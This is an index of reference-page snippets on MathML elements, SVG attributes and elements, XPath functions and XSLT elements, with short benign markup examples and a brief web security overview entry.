(the "x"-height of the element, 1ex ≈ 0.5em in many fonts) px pixels in inches (1 inch = 2.54 centimeters) cm centimeters mm millimeters pt points (1 point = 1/72 inch) pc picas (1 pica = 12 points) % percentage of the default value.
<merror> - MathML
WebMathMLElementmerror
you will still get an xml parsing error (in case of the xhtml notation of mathml), which has nothing to do with <merror>.
<mglyph> - MathML
WebMathMLElementmglyph
the mathml <mglyph> element is used to display non-standard symbols where existing unicode characters are not available.
<mphantom> - MathML
the mathml <mphantom> element is rendered invisibly, but dimensions (such as height, width, and baseline position) are still kept.
<mroot> - MathML
WebMathMLElementmroot
two arguments are accepted, which leads to the syntax: <mroot> base index </mroot>.
<msqrt> - MathML
WebMathMLElementmsqrt
the square root accepts only one argument, which leads to the following syntax: <msqrt> base </msqrt>.
PWA developer guide - Progressive web apps (PWAs)
for all other documentation about web development, which generally pertains to pwas as well, see our primary web development documentation.
additive - SVG: Scalable Vector Graphics
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'additive' in that specification.
alphabetic - SVG: Scalable Vector Graphics
for horizontally oriented glyph layouts, it indicates the alignment coordinate for glyphs to achieve alphabetic baseline alignment.
amplitude - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'amplitude' in that specification.
arabic-form - SVG: Scalable Vector Graphics
the arabic-form attribute indicates which of the four possible forms an arabic glyph represents.
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'azimuth' in that specification.
baseProfile - SVG: Scalable Vector Graphics
each svg profile should define the text that is appropriate for this attribute.
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'by' in that specification.
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
unitless values, which indicate current user coordinates, are permitted on the coordinate values on the rect().
clipPathUnits - SVG: Scalable Vector Graphics
the clippathunits attribute indicates which coordinate system to use for the contents of the <clippath> element.
diffuseConstant - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'diffuseconstant' in that specification.
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'dur' in that specification.
elevation - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'elevation' in that specification.
exponent - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'exponent' in that specification.
externalResourcesRequired - SVG: Scalable Vector Graphics
instead, it is better to specify externalresourcesrequired="true" on those particular graphics elements or container elements which specifically need the availability of external resources in order to render properly.
filterRes - SVG: Scalable Vector Graphics
note that negative values or zero values disable the rendering of the element which referenced the filter.
font-size - SVG: Scalable Vector Graphics
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-size' in that specification.
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fx' in that specification.
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fy' in that specification.
glyph-name - SVG: Scalable Vector Graphics
the glyph names can be used in situations where unicode character numbers do not provide sufficient information to access the correct glyph, such as when there are multiple glyphs per unicode character.
glyph-orientation-horizontal - SVG: Scalable Vector Graphics
the glyph-orientation-horizontal attribute affects the amount that hte current text position advances as each glyph is rendered.
glyphRef - SVG: Scalable Vector Graphics
the glyphref attribute represents the glyph identifier, the format of which is dependent on the format of the given font.
hanging - SVG: Scalable Vector Graphics
WebSVGAttributehanging
the hanging attribute indicates the alignment coordinate for glyphs to achieve hanging baseline alignment for horizontally oriented glyph layouts.
ideographic - SVG: Scalable Vector Graphics
the ideographic attribute indicates the alignment coordinate for glyphs to achieve ideographic baseline alignment for horizontally oriented glyph layouts.
image-rendering - SVG: Scalable Vector Graphics
candidate recommendation no significant change, only added a reference to css images 3 scalable vector graphics (svg) 1.1 (second edition)the definition of 'image-rendering' in that specification.
intercept - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'intercept' in that specification.
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k1' in that specification.
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k2' in that specification.
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k3' in that specification.
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'k4' in that specification.
local - SVG: Scalable Vector Graphics
WebSVGAttributelocal
if both the xlink:href and the local attribute are specified, then the local file system is searched for the color profile first, and, if not available locally, then the resource identified by the xlink:href attribute is used.
markerHeight - SVG: Scalable Vector Graphics
the markerheight attribute represents the height of the viewport into which the <marker> is to be fitted when it is rendered according to the viewbox and preserveaspectratio attributes.
markerWidth - SVG: Scalable Vector Graphics
the markerwidth attribute represents the width of the viewport into which the <marker> is to be fitted when it is rendered according to the viewbox and preserveaspectratio attributes.
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" maskcontentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attribute is defined as a css property and is a shorthand for many other properties: mask-image, mask-mode, mask-repeat, mask-position, mask-cl...
maskContentUnits - SVG: Scalable Vector Graphics
the maskcontentunits attribute indicates which coordinate system to use for the contents of the <mask> element.
mathematical - SVG: Scalable Vector Graphics
the mathematical attribute indicates the alignment coordinate for glyphs to achieve mathematical baseline alignment for horizontally oriented glyph layouts.
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'max' in that specification.
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'min' in that specification.
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'mode' in that specification.
name - SVG: Scalable Vector Graphics
WebSVGAttributename
value <name> default value none animatable yes <name> this value is the name which is used as the first parameter for icc color specifications within fill, stroke, stop-color, flood-color and lighting-color property values to identify the color profile to use for the icc color specification and the name which can be the value of the color-profile property.
origin - SVG: Scalable Vector Graphics
WebSVGAttributeorigin
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'origin' in that specification.
overflow - SVG: Scalable Vector Graphics
within svg content, the value auto implies that all rendered content for child elements must be visible, either through a scrolling mechanism, or by rendering with no clip.
patternContentUnits - SVG: Scalable Vector Graphics
the patterncontentunits attribute indicates which coordinate system to use for the contents of the <pattern> element.
primitiveUnits - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'primitiveunits' in that specification.
r - SVG: Scalable Vector Graphics
WebSVGAttributer
the gradient will be drawn such that the 100% gradient stop is mapped to the perimeter of this end circle.
radius - SVG: Scalable Vector Graphics
WebSVGAttributeradius
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'radius' in that specification.
repeatCount - SVG: Scalable Vector Graphics
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'repeatcount' in that specification.
repeatDur - SVG: Scalable Vector Graphics
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'repeatdur' in that specification.
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
<femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> usage notes value <filter-primitive-reference> default value none animatable yes <filter-primitive-reference> this value is a <custom-ident> and defines the name for the filter primitive.
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'scale' in that specification.
specularConstant - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularconstant' in that specification.
startOffset - SVG: Scalable Vector Graphics
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'startoffset' in that specification.
stdDeviation - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'stddeviation' in that specification.
stemh - SVG: Scalable Vector Graphics
WebSVGAttributestemh
for example, the main vertical stems of roman characters will differ from the thin stems on serifed "m" and "n", plus there may be different widths for uppercase and lowercase characters in the same font.
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'style' in that specification.
transform-origin - SVG: Scalable Vector Graphics
values [ <length-percentage> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> default value 50%, 50% animatable yes the transform-origin property may be specified using one, two, or three values, where each value represents an offset.
units-per-em - SVG: Scalable Vector Graphics
this is the size of the design grid on which glyphs are laid out.
v-alphabetic - SVG: Scalable Vector Graphics
the v-alphabetic attribute defines indicates the alignment coordinate for glyphs to achieve alphabetic baseline alignment.
v-ideographic - SVG: Scalable Vector Graphics
the v-ideographic attribute indicates the alignment coordinate for glyphs to achieve ideographic baseline alignment for vertically oriented glyph layouts.
v-mathematical - SVG: Scalable Vector Graphics
the v-mathematical attribute indicates the alignment coordinate for glyphs to achieve mathematical baseline alignment for vertically oriented glyph layouts.
version - SVG: Scalable Vector Graphics
WebSVGAttributeversion
while it is specified to accept any number, the only two valid choices are currently 1.0 and 1.1.
visibility - SVG: Scalable Vector Graphics
depending on the value of attribute pointer-events, graphics elements which have their visibility attribute set to hidden still might receive events.
word-spacing - SVG: Scalable Vector Graphics
an unqualified number such as 128), the browser processes the <length> as a width value in the current user coordinate system.
xlink:title - SVG: Scalable Vector Graphics
note: new content should use a <title> child element rather than a xlink:title attribute.
xml:lang - SVG: Scalable Vector Graphics
the most common syntax is a value formed by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g.
Compatibility sources - SVG: Scalable Vector Graphics
the following sources are used for the compatibility tables on svg elements and attributes: https://developer.mozilla.org/en/svg_in_firefox together with its revision history for firefox http://www.webkit.org/projects/svg/status.xml together with its recorded archive for webkit, safari and chrome http://www.opera.com/docs/specs/opera9/svg/ and accompanying pages for opera >= 9, http://www.opera.com/docs/specs/opera8/ for opera 8 http://blogs.msdn.com/b/ie/archive/2010/03/18/svg-in-ie9-roadmap.aspx for hints on ie9 support status the svg support charts at codedread.com for basic checks against the w3c test suite wikipedia for basic hints, not normative ...
<animateTransform> - SVG: Scalable Vector Graphics
editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatetransform>' in that specification.
<circle> - SVG: Scalable Vector Graphics
WebSVGElementcircle
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
</desc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
<discard> - SVG: Scalable Vector Graphics
WebSVGElementdiscard
the <discard> svg element allows authors to specify the time at which particular elements are to be discarded, thereby reducing the resources required by an svg user agent.
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
<feDistantLight> - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fedistantlight>' in that specification.
<feDropShadow> - SVG: Scalable Vector Graphics
the drop shadow color and opacity can be changed by using the flood-color and flood-opacity presentation attributes.
<feFlood> - SVG: Scalable Vector Graphics
WebSVGElementfeFlood
working draft removed <icccolor> value from flood-color property and defined that the alpha channel of it gets multiplied with the computed value of the flood-opacity property.
<feFuncA> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncA
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefunca>' in that specification.
<feFuncB> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncB
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncb>' in that specification.
<feFuncG> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncG
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncg>' in that specification.
<feFuncR> - SVG: Scalable Vector Graphics
WebSVGElementfeFuncR
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fefuncr>' in that specification.
<feGaussianBlur> - SVG: Scalable Vector Graphics
the <fegaussianblur> svg filter primitive blurs the input image by the amount specified in stddeviation, which defines the bell-curve.
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
the <feimage> svg filter primitive fetches image data from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface.
<feMorphology> - SVG: Scalable Vector Graphics
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<femorphology>' in that specification.
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<feoffset>' in that specification.
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<fetile>' in that specification.
<font-face> - SVG: Scalable Vector Graphics
WebSVGElementfont-face
attributes global attributes core attributes specific attributes font-family font-style font-variant font-weight font-stretch font-size unicode-range units-per-em panose-1 stemv stemh slope cap-height x-height accent-height ascent descent widths bbox ideographic alphabetic mathematical hanging v-ideographic v-alphabetic v-mathematical v-hanging underline-position underline-thickness strikethrough-position strikethrough-thickness overline-position overline-thickness dom interface this element impleme...
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
usage context categoriestext content elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y unicode glyph-name orientation arabic-form lang dom interface this element implements the svgglyphelement interface.
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
lor, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, ari...
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
this element is always a child of a <lineargradient> or <radialgradient> element.
Information Security Basics - Web security
confidentiality, integrity, and availability describes the primary security objectives, which are absolutely fundamental to understanding security security controls defines major categories of security controls and discusses their potential disadvantages tcp/ip security an overview of the tcp/ip model, with a focus on the security considerations for ssl threats briefly introduces major threat concepts vulnerabilities...
XML Index - XML: Extensible Markup Language
WebXMLIndex
the primary purpose of the language is the sharing of data across different systems, such as the internet.
XML: Extensible Markup Language
WebXML
the primary purpose of the language is the sharing of data across different systems, such as the internet.
descendant-or-self - XPath
attribute and namespace nodes are not included - the parent of an attribute node is an element node, but attribute nodes are not the children of their parents.
concat - XPath
each of these arguments is a string.
contains - XPath
syntax contains(haystack, needle) arguments haystack the string to be searched needle the string to look for as a substring of haystack returns true if haystack contains needle.
document - XPath
if the uri argument is a node-set, and the second argument is present, each node in the node-set will be evaluated as a separate uri, and the returned node-set will be as if the document function has been called multiple times (each time with the same second argument just as given in the function call) and the resulting node-sets had been concatenated into a single node-set.
key - XPath
WebXPathFunctionskey
notes the xsl:key element defines what attribute on what given elements will be used to match the key.
namespace-uri - XPath
returns a string representing uri of the namespace in which the given node resides.
normalize-space - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the normalize-space function strips leading and trailing white-space from a string, replaces sequences of whitespace characters by a single space, and returns the resulting string.
not - XPath
WebXPathFunctionsnot
<xsl:for-each match="//a[not(@name and @name = 'badname')]"> <!-- iterates over any <a> element in the document, that either has no 'name' attribute at all, or it has one, but its value is not "badname".
number - XPath
if the string does not match this pattern, then the string is converted to nan.
starts-with - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the starts-with checks whether the first string starts with the second string and returns true or false.
substring-after - XPath
needle the substring to search for.
substring-before - XPath
needle the substring to search for.
system-property - XPath
if there is no such system property, the empty string should be returned.
Functions - XPath
boolean() ceiling() choose() concat() contains() count() current() xslt-specific document() xslt-specific element-available() false() floor() format-number() xslt-specific function-available() generate-id() xslt-specific id() (partially supported) key() xslt-specific lang() last() local-name() name() namespace-uri() normalize-space() not() number() position() round() starts-with() string() str...
<xsl:apply-templates> - XSLT: Extensible Stylesheet Language Transformations
if this attribute is not set, all child nodes of the current node are selected.
<xsl:if> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementif
to achieve the functionality of an if-then-else statement, however, use the <xsl:choose> element with one <xsl:when> and one <xsl:otherwise> children.
<xsl:import> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementimport
type top-level, must appear before any other child of <xsl:stylesheet> or <xsl:transform> in the importing stylesheet.
<xsl:include> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementinclude
type top-level, may appear in any order as a child of <xsl:stylesheet> or <xsl:transform>.
<xsl:message> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementmessage
the default value is "no", in which case the message is output and execution continues.
<xsl:otherwise> - XSLT: Extensible Stylesheet Language Transformations
type subinstruction, must appear as the last child of an <xsl:choose> element, within a template.
<xsl:param> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementparam
in this case it must be the first child element of the template.
<xsl:variable> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementvariable
if it occurs within a template, the variable is local in scope, accessible only within the template in which it appears.
Resources - XSLT: Extensible Stylesheet Language Transformations
xsl results firefox extension (presently awaiting review) - allows one to experiment with xsl, by applying xsl stylesheets (which are manually entered, found via a url or on the file-system) to an xml document (the currently-loaded document or a manually entered/pasted one).
Resources - XSLT: Extensible Stylesheet Language Transformations
resources using the mozilla javascript interface to xsl transformations mozilla.org's xslt project page, which includes a frequently encountered issues section.